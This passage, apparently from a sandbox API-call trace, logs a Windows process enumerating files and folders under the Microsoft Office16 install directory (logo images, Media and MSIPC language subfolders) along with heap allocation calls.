lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.scale-180.png", cAlternateFileName="WI8A9A~1.PNG")) returned 1 [0102.453] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x890, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.scale-80.png", cAlternateFileName="WI01D8~1.PNG")) returned 1 [0102.453] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x759, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.contrast-black_scale-100.png", cAlternateFileName="WI30FF~1.PNG")) returned 1 [0103.043] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x840, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.contrast-black_scale-140.png", cAlternateFileName="WINPRO~4.PNG")) returned 1 [0103.043] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xacd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.contrast-black_scale-180.png", cAlternateFileName="WIE311~1.PNG")) returned 1 [0103.043] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x610, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.contrast-black_scale-80.png", cAlternateFileName="WIC0C5~1.PNG")) returned 1 [0103.043] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x764, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.contrast-white_scale-100.png", cAlternateFileName="WIB14C~1.PNG")) returned 1 [0103.043] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x837, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.contrast-white_scale-140.png", cAlternateFileName="WI0FC0~1.PNG")) returned 1 [0103.043] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xab9, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.contrast-white_scale-180.png", cAlternateFileName="WICCF1~1.PNG")) returned 1 [0103.043] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x60a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.contrast-white_scale-80.png", cAlternateFileName="WICBAE~1.PNG")) returned 1 [0103.043] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.scale-100.png", cAlternateFileName="WIC069~1.PNG")) returned 1 [0103.046] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x869, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.scale-140.png", cAlternateFileName="WIBBE1~1.PNG")) returned 1 [0103.046] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xacd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.scale-180.png", cAlternateFileName="WIB5A3~1.PNG")) returned 1 [0103.046] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x676, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.scale-80.png", cAlternateFileName="WI3748~1.PNG")) returned 1 [0103.046] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8c7801, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8c7801, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a8c7801, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogo.contrast-black_scale-100.png", cAlternateFileName="WI8B9B~1.PNG")) returned 1 [0103.046] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8a15c5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8a15c5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogo.contrast-black_scale-140.png", cAlternateFileName="WIE5F9~1.PNG")) returned 1 [0103.046] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8a15c5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8a15c5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a8a15c5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogo.contrast-black_scale-180.png", cAlternateFileName="WI28C8~1.PNG")) returned 1 [0103.047] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8a15c5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8a15c5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x806, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogo.contrast-black_scale-80.png", cAlternateFileName="WI813E~1.PNG")) returned 1 [0103.047] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a8a15c5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogo.contrast-white_scale-100.png", cAlternateFileName="WINWOR~4.PNG")) returned 1 [0103.047] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8a15c5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8a15c5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogo.contrast-white_scale-140.png", cAlternateFileName="WID44A~1.PNG")) returned 1 [0103.047] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogo.contrast-white_scale-180.png", cAlternateFileName="WINWOR~1.PNG")) returned 1 [0103.047] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x806, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogo.contrast-white_scale-80.png", cAlternateFileName="WINWOR~3.PNG")) returned 1 [0103.047] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8a15c5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8a15c5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a8a15c5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x94f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogo.scale-100.png", cAlternateFileName="WIEE7A~1.PNG")) returned 1 [0103.050] GetProcessHeap () returned 0x11a0000 [0103.050] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b42778 | out: hHeap=0x11a0000) returned 1 [0104.146] GetProcessHeap () returned 0x11a0000 [0104.147] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b42778 [0104.147] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1b22ac67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b22ac67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b53170 [0104.228] GetProcessHeap () returned 0x11a0000 [0104.229] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b42778 | out: hHeap=0x11a0000) returned 1 [0104.231] GetProcessHeap () returned 0x11a0000 [0104.231] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b42778 [0104.231] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1b3a83c3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b3a83c3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b53670 [0104.235] GetProcessHeap () returned 0x11a0000 [0104.235] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.236] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ar\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99462e6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99462e6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99462e6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b535f0 [0104.237] GetProcessHeap () returned 0x11a0000 [0104.237] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.237] GetProcessHeap () returned 0x11a0000 [0104.237] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.237] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\bg\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6dea551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6dea551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6dea551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b53570 [0104.239] GetProcessHeap () returned 0x11a0000 [0104.239] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.239] GetProcessHeap () returned 0x11a0000 [0104.239] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.239] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ca\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b53270 [0104.240] GetProcessHeap () returned 0x11a0000 [0104.240] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.240] GetProcessHeap () returned 0x11a0000 [0104.240] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.240] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\cs\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf803d796, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf803d796, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf803d796, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b536b0 [0104.244] GetProcessHeap () returned 0x11a0000 [0104.244] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.244] GetProcessHeap () returned 0x11a0000 [0104.244] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.244] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\da\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6165f55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6165f55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b53270 [0104.245] GetProcessHeap () returned 0x11a0000 [0104.245] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.245] GetProcessHeap () returned 0x11a0000 [0104.246] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.246] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\de\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b53570 [0104.247] GetProcessHeap () returned 0x11a0000 [0104.247] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.247] GetProcessHeap () returned 0x11a0000 [0104.247] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.247] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\el\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff0bc27, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b53730 [0104.248] GetProcessHeap () returned 0x11a0000 [0104.248] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.248] GetProcessHeap () returned 0x11a0000 [0104.248] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.248] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\en-us\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a3de35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a3de35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a3de35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b534f0 [0104.249] GetProcessHeap () returned 0x11a0000 [0104.249] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.249] GetProcessHeap () returned 0x11a0000 [0104.249] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.249] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\es\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcb7dd00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcb7dd00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcb7dd00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b53330 [0104.254] GetProcessHeap () returned 0x11a0000 [0104.254] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.254] GetProcessHeap () returned 0x11a0000 [0104.254] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.255] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\et\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b530f0 [0104.256] GetProcessHeap () returned 0x11a0000 [0104.256] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.256] GetProcessHeap () returned 0x11a0000 [0104.256] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.256] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\eu\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b535f0 [0104.257] GetProcessHeap () returned 0x11a0000 [0104.257] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.257] GetProcessHeap () returned 0x11a0000 [0104.257] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.257] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\fi\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, 